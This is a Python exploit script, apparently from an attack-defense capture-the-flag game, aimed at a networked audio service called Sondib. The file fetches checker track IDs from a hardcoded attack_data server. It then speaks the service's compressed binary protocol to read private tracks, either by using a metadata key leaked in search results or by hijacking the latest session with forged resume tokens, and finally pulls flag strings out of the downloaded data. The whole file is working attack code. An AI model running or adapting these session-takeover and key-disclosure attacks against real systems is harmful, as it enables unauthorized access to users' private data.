- Consume checker SIDs from attack_data and recover private track flags. - Fall back between metadata-key disclosure and latest-session takeover.
386 lines
13 KiB
Python
Executable File
386 lines
13 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
|
|
from __future__ import annotations
|
|
|
|
import json
|
|
import re
|
|
import socket
|
|
import struct
|
|
import sys
|
|
from dataclasses import dataclass
|
|
from urllib.error import URLError
|
|
from urllib.parse import urlsplit
|
|
from urllib.request import ProxyHandler, Request, build_opener
|
|
|
|
|
|
ATTACK_DATA_URL = "http://111.88.219.93/attack_data"
|
|
DEFAULT_PORT = 7777
|
|
TIMEOUT = 4.0
|
|
MAX_ATTACK_DATA = 4 * 1024 * 1024
|
|
MAX_WIRE_FRAME = 0x100200
|
|
MAX_DECODED_FRAME = 0x100200
|
|
MAX_BLOCK = 0x40000
|
|
SID_ALPHABET = "0123456789abcdefghjkmnpqrstvwxyz"
|
|
FLAG_RE = re.compile(rb"\b[A-Z0-9]{31}=")
|
|
|
|
|
|
class ExploitError(Exception):
|
|
pass
|
|
|
|
|
|
@dataclass(frozen=True)
|
|
class CheckerRecord:
|
|
sid_text: str
|
|
sid: bytes
|
|
jockey: str
|
|
|
|
|
|
@dataclass(frozen=True)
|
|
class SearchRow:
|
|
sid: bytes
|
|
title: bytes
|
|
owner: str
|
|
key: int
|
|
private: bool
|
|
deleted: bool
|
|
|
|
|
|
def log(message: str) -> None:
|
|
print(message, file=sys.stderr, flush=True)
|
|
|
|
|
|
def parse_address(value: str) -> tuple[str, int]:
|
|
raw = value.strip()
|
|
if not raw:
|
|
raise ValueError("empty target")
|
|
parsed = urlsplit(raw if "://" in raw else f"//{raw}")
|
|
if parsed.hostname is None:
|
|
raise ValueError(f"invalid target: {value}")
|
|
try:
|
|
port = parsed.port or DEFAULT_PORT
|
|
except ValueError as exc:
|
|
raise ValueError(f"invalid target port: {value}") from exc
|
|
return parsed.hostname.rstrip(".").casefold(), port
|
|
|
|
|
|
def decode_sid(value: str) -> bytes:
|
|
if len(value) != 26:
|
|
raise ValueError("track SID must contain 26 base32 characters")
|
|
|
|
numbers: list[int] = []
|
|
try:
|
|
for group in (value[:10], value[10:]):
|
|
number = 0
|
|
for char in group:
|
|
number = (number << 5) | SID_ALPHABET.index(char)
|
|
numbers.append(number)
|
|
except ValueError as exc:
|
|
raise ValueError("track SID contains an invalid base32 character") from exc
|
|
|
|
first, second = numbers
|
|
if first >= 1 << 48 or second >= 1 << 64:
|
|
raise ValueError("track SID is not canonical")
|
|
return first.to_bytes(6, "big") + second.to_bytes(10, "big")
|
|
|
|
|
|
def target_records(data: object, target: str) -> list[CheckerRecord]:
|
|
if not isinstance(data, dict) or not isinstance(data.get("sondib"), dict):
|
|
raise ValueError("attack_data has no sondib target map")
|
|
|
|
target_host, _ = parse_address(target)
|
|
matching: list[object] = []
|
|
for host, entries in data["sondib"].items():
|
|
if not isinstance(host, str):
|
|
continue
|
|
try:
|
|
entry_host, _ = parse_address(host)
|
|
except ValueError:
|
|
continue
|
|
if entry_host == target_host:
|
|
matching.append(entries)
|
|
|
|
if not matching:
|
|
raise ValueError(f"attack_data has no Sondib entries for {target}")
|
|
|
|
records: list[CheckerRecord] = []
|
|
for entries in matching:
|
|
if not isinstance(entries, list):
|
|
raise ValueError("invalid Sondib target entries in attack_data")
|
|
for entry in entries:
|
|
if not isinstance(entry, dict):
|
|
raise ValueError("invalid Sondib record in attack_data")
|
|
sid_text = entry.get("track")
|
|
jockey = entry.get("jockey")
|
|
if not isinstance(sid_text, str) or not isinstance(jockey, str) or not jockey:
|
|
raise ValueError("Sondib attack_data record needs track and jockey")
|
|
records.append(CheckerRecord(sid_text, decode_sid(sid_text), jockey))
|
|
if not records:
|
|
raise ValueError(f"attack_data contains no Sondib checker records for {target}")
|
|
return records
|
|
|
|
|
|
def fetch_attack_data() -> object:
|
|
request = Request(ATTACK_DATA_URL, headers={"Accept": "application/json"})
|
|
opener = build_opener(ProxyHandler({}))
|
|
with opener.open(request, timeout=TIMEOUT) as response:
|
|
if response.status != 200:
|
|
raise OSError(f"attack_data returned HTTP {response.status}")
|
|
payload = response.read(MAX_ATTACK_DATA + 1)
|
|
if len(payload) > MAX_ATTACK_DATA:
|
|
raise ValueError("attack_data exceeds the configured size limit")
|
|
try:
|
|
return json.loads(payload)
|
|
except (json.JSONDecodeError, UnicodeDecodeError) as exc:
|
|
raise ValueError("attack_data is not valid JSON") from exc
|
|
|
|
|
|
def _read_extended_length(encoded: bytes, offset: int, initial: int) -> tuple[int, int]:
|
|
length = initial
|
|
if initial != 15:
|
|
return length, offset
|
|
while True:
|
|
if offset >= len(encoded):
|
|
raise ExploitError("truncated SDZ length")
|
|
part = encoded[offset]
|
|
offset += 1
|
|
length += part
|
|
if part != 0xFF:
|
|
return length, offset
|
|
|
|
|
|
def decode_sdz(encoded: bytes) -> bytes:
|
|
output = bytearray()
|
|
offset = 0
|
|
while offset < len(encoded):
|
|
if offset + 8 > len(encoded) or encoded[offset : offset + 4] != b"SDZ1":
|
|
raise ExploitError("invalid SDZ block header")
|
|
block_size = struct.unpack_from("<I", encoded, offset + 4)[0]
|
|
if block_size > MAX_BLOCK or len(output) + block_size > MAX_DECODED_FRAME:
|
|
raise ExploitError("SDZ block exceeds the frame limit")
|
|
offset += 8
|
|
block_start = len(output)
|
|
|
|
while len(output) - block_start < block_size:
|
|
if offset >= len(encoded):
|
|
raise ExploitError("truncated SDZ token")
|
|
token = encoded[offset]
|
|
offset += 1
|
|
literal_size, offset = _read_extended_length(encoded, offset, token >> 4)
|
|
block_used = len(output) - block_start
|
|
if literal_size > block_size - block_used or offset + literal_size > len(encoded):
|
|
raise ExploitError("invalid SDZ literal length")
|
|
output.extend(encoded[offset : offset + literal_size])
|
|
offset += literal_size
|
|
if len(output) - block_start == block_size:
|
|
break
|
|
|
|
if offset + 3 > len(encoded):
|
|
raise ExploitError("truncated SDZ match")
|
|
distance = int.from_bytes(encoded[offset : offset + 3], "little")
|
|
offset += 3
|
|
match_size, offset = _read_extended_length(encoded, offset, token & 0x0F)
|
|
match_size += 4
|
|
if not distance or distance > len(output):
|
|
raise ExploitError("invalid SDZ match distance")
|
|
if match_size > block_size - (len(output) - block_start):
|
|
raise ExploitError("invalid SDZ match length")
|
|
for _ in range(match_size):
|
|
output.append(output[-distance])
|
|
|
|
return bytes(output)
|
|
|
|
|
|
def encode_literal(payload: bytes) -> bytes:
|
|
blocks = [payload[index : index + MAX_BLOCK] for index in range(0, len(payload), MAX_BLOCK)]
|
|
if not blocks:
|
|
blocks = [b""]
|
|
|
|
encoded = bytearray()
|
|
for block in blocks:
|
|
encoded.extend(b"SDZ1")
|
|
encoded.extend(struct.pack("<I", len(block)))
|
|
length = len(block)
|
|
if length:
|
|
encoded.append(min(length, 15) << 4)
|
|
if length >= 15:
|
|
remaining = length - 15
|
|
while remaining >= 0xFF:
|
|
encoded.append(0xFF)
|
|
remaining -= 0xFF
|
|
encoded.append(remaining)
|
|
encoded.extend(block)
|
|
return bytes(encoded)
|
|
|
|
|
|
def send_frame(sock: socket.socket, payload: bytes) -> None:
|
|
encoded = encode_literal(payload)
|
|
if len(encoded) > MAX_WIRE_FRAME:
|
|
raise ExploitError("outgoing protocol frame exceeds the configured limit")
|
|
sock.sendall(struct.pack("<I", len(encoded)) + encoded)
|
|
|
|
|
|
def _receive_exact(sock: socket.socket, size: int) -> bytes:
|
|
chunks: list[bytes] = []
|
|
remaining = size
|
|
while remaining:
|
|
chunk = sock.recv(remaining)
|
|
if not chunk:
|
|
raise ExploitError("target closed the protocol connection")
|
|
chunks.append(chunk)
|
|
remaining -= len(chunk)
|
|
return b"".join(chunks)
|
|
|
|
|
|
def receive_frame(sock: socket.socket) -> bytes:
|
|
wire_size = struct.unpack("<I", _receive_exact(sock, 4))[0]
|
|
if not 0 < wire_size <= MAX_WIRE_FRAME:
|
|
raise ExploitError(f"invalid wire frame length: {wire_size}")
|
|
frame = decode_sdz(_receive_exact(sock, wire_size))
|
|
if not frame:
|
|
raise ExploitError("target returned an empty protocol frame")
|
|
return frame
|
|
|
|
|
|
def session_name(frame: bytes) -> str | None:
|
|
if len(frame) < 4 or frame[0] != 0x11:
|
|
return None
|
|
name_size = struct.unpack_from("<H", frame, 1)[0]
|
|
if len(frame) < 3 + name_size:
|
|
raise ExploitError("truncated session identity response")
|
|
return frame[3 : 3 + name_size].decode("utf-8", errors="replace")
|
|
|
|
|
|
def resume_latest_session(sock: socket.socket, expected_jockey: str) -> str | None:
|
|
last_name: str | None = None
|
|
for token in (0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFC):
|
|
send_frame(sock, b"\x09" + struct.pack("<I", token))
|
|
name = session_name(receive_frame(sock))
|
|
if name is not None:
|
|
last_name = name
|
|
if name.casefold() == expected_jockey.casefold():
|
|
return name
|
|
return last_name
|
|
|
|
|
|
def parse_search_row(frame: bytes) -> SearchRow:
|
|
if len(frame) < 20 or frame[0] != 0x0F:
|
|
raise ExploitError("invalid Sondib search row")
|
|
flags = frame[1]
|
|
sid = frame[2:18]
|
|
title_size = struct.unpack_from("<H", frame, 18)[0]
|
|
offset = 20
|
|
if offset + title_size + 10 > len(frame):
|
|
raise ExploitError("truncated Sondib search row")
|
|
title = frame[offset : offset + title_size]
|
|
offset += title_size + 8
|
|
owner_size = struct.unpack_from("<H", frame, offset)[0]
|
|
offset += 2
|
|
if offset + owner_size + 4 != len(frame):
|
|
raise ExploitError("invalid Sondib owner or key length")
|
|
owner = frame[offset : offset + owner_size].decode("utf-8", errors="replace")
|
|
offset += owner_size
|
|
key = struct.unpack_from("<I", frame, offset)[0]
|
|
return SearchRow(sid, title, owner, key, bool(flags & 1), bool(flags & 2))
|
|
|
|
|
|
def search_for_sid(sock: socket.socket, wanted_sid: bytes) -> SearchRow | None:
|
|
send_frame(sock, b"\x03\0\0")
|
|
match: SearchRow | None = None
|
|
while True:
|
|
frame = receive_frame(sock)
|
|
if frame[0] == 0x10:
|
|
return match
|
|
if frame[0] == 0x0F:
|
|
row = parse_search_row(frame)
|
|
if row.sid == wanted_sid:
|
|
match = row
|
|
elif frame[0] == 0x12:
|
|
raise ExploitError("Sondib search was rejected")
|
|
else:
|
|
raise ExploitError(f"unexpected Sondib search response: {frame[0]:#x}")
|
|
|
|
|
|
def download_pcm(sock: socket.socket, sid: bytes, key: int | None = None) -> bytes | None:
|
|
if len(sid) != 16:
|
|
raise ValueError("SID must be 16 bytes")
|
|
request = bytearray(b"\x06" + sid)
|
|
if key is None:
|
|
request.append(0)
|
|
else:
|
|
request.append(1)
|
|
request.extend(struct.pack("<I", key))
|
|
send_frame(sock, bytes(request))
|
|
|
|
frame = receive_frame(sock)
|
|
if frame[0] != 0x11:
|
|
return None
|
|
if len(frame) < 5:
|
|
raise ExploitError("truncated Sondib download response")
|
|
data_size = struct.unpack_from("<I", frame, 1)[0]
|
|
if data_size > 0x100000 or len(frame) != data_size + 5:
|
|
raise ExploitError("invalid Sondib download length")
|
|
return frame[5:]
|
|
|
|
|
|
def extract_flags(data: bytes) -> set[str]:
|
|
return {match.decode("ascii") for match in FLAG_RE.findall(data)}
|
|
|
|
|
|
def exploit(target: str) -> set[str]:
|
|
host, port = parse_address(target)
|
|
records = target_records(fetch_attack_data(), target)
|
|
record = records[-1]
|
|
log(f"target={target} checker={record.jockey} track={record.sid_text}")
|
|
|
|
flags: set[str] = set()
|
|
with socket.create_connection((host, port), timeout=TIMEOUT) as sock:
|
|
sock.settimeout(TIMEOUT)
|
|
hello = receive_frame(sock)
|
|
if hello[0] != 0x01:
|
|
raise ExploitError("target did not send the expected Sondib greeting")
|
|
|
|
row = search_for_sid(sock, record.sid)
|
|
if row is None:
|
|
log("checker SID was not present in the first 256 search results")
|
|
elif row.deleted:
|
|
log("checker track is deleted")
|
|
else:
|
|
pcm = download_pcm(sock, row.sid, row.key if row.private else None)
|
|
if pcm is not None:
|
|
flags.update(extract_flags(pcm))
|
|
|
|
if not flags:
|
|
current_jockey = resume_latest_session(sock, record.jockey)
|
|
if current_jockey is not None:
|
|
aligned = current_jockey.casefold() == record.jockey.casefold()
|
|
log(f"resumed latest session jockey={current_jockey} checker_match={aligned}")
|
|
else:
|
|
log("no resumable Sondib session")
|
|
|
|
pcm = download_pcm(sock, record.sid)
|
|
if pcm is not None:
|
|
flags.update(extract_flags(pcm))
|
|
|
|
return flags
|
|
|
|
|
|
def main() -> int:
|
|
if len(sys.argv) != 2:
|
|
log(f"usage: {sys.argv[0]} TARGET")
|
|
return 2
|
|
target = sys.argv[1]
|
|
try:
|
|
flags = exploit(target)
|
|
except (OSError, ValueError, ExploitError, URLError) as exc:
|
|
log(f"target={target} error={exc}")
|
|
return 2
|
|
|
|
for flag in sorted(flags):
|
|
print(flag)
|
|
log(f"target={target} flags={len(flags)}")
|
|
return 0 if flags else 1
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|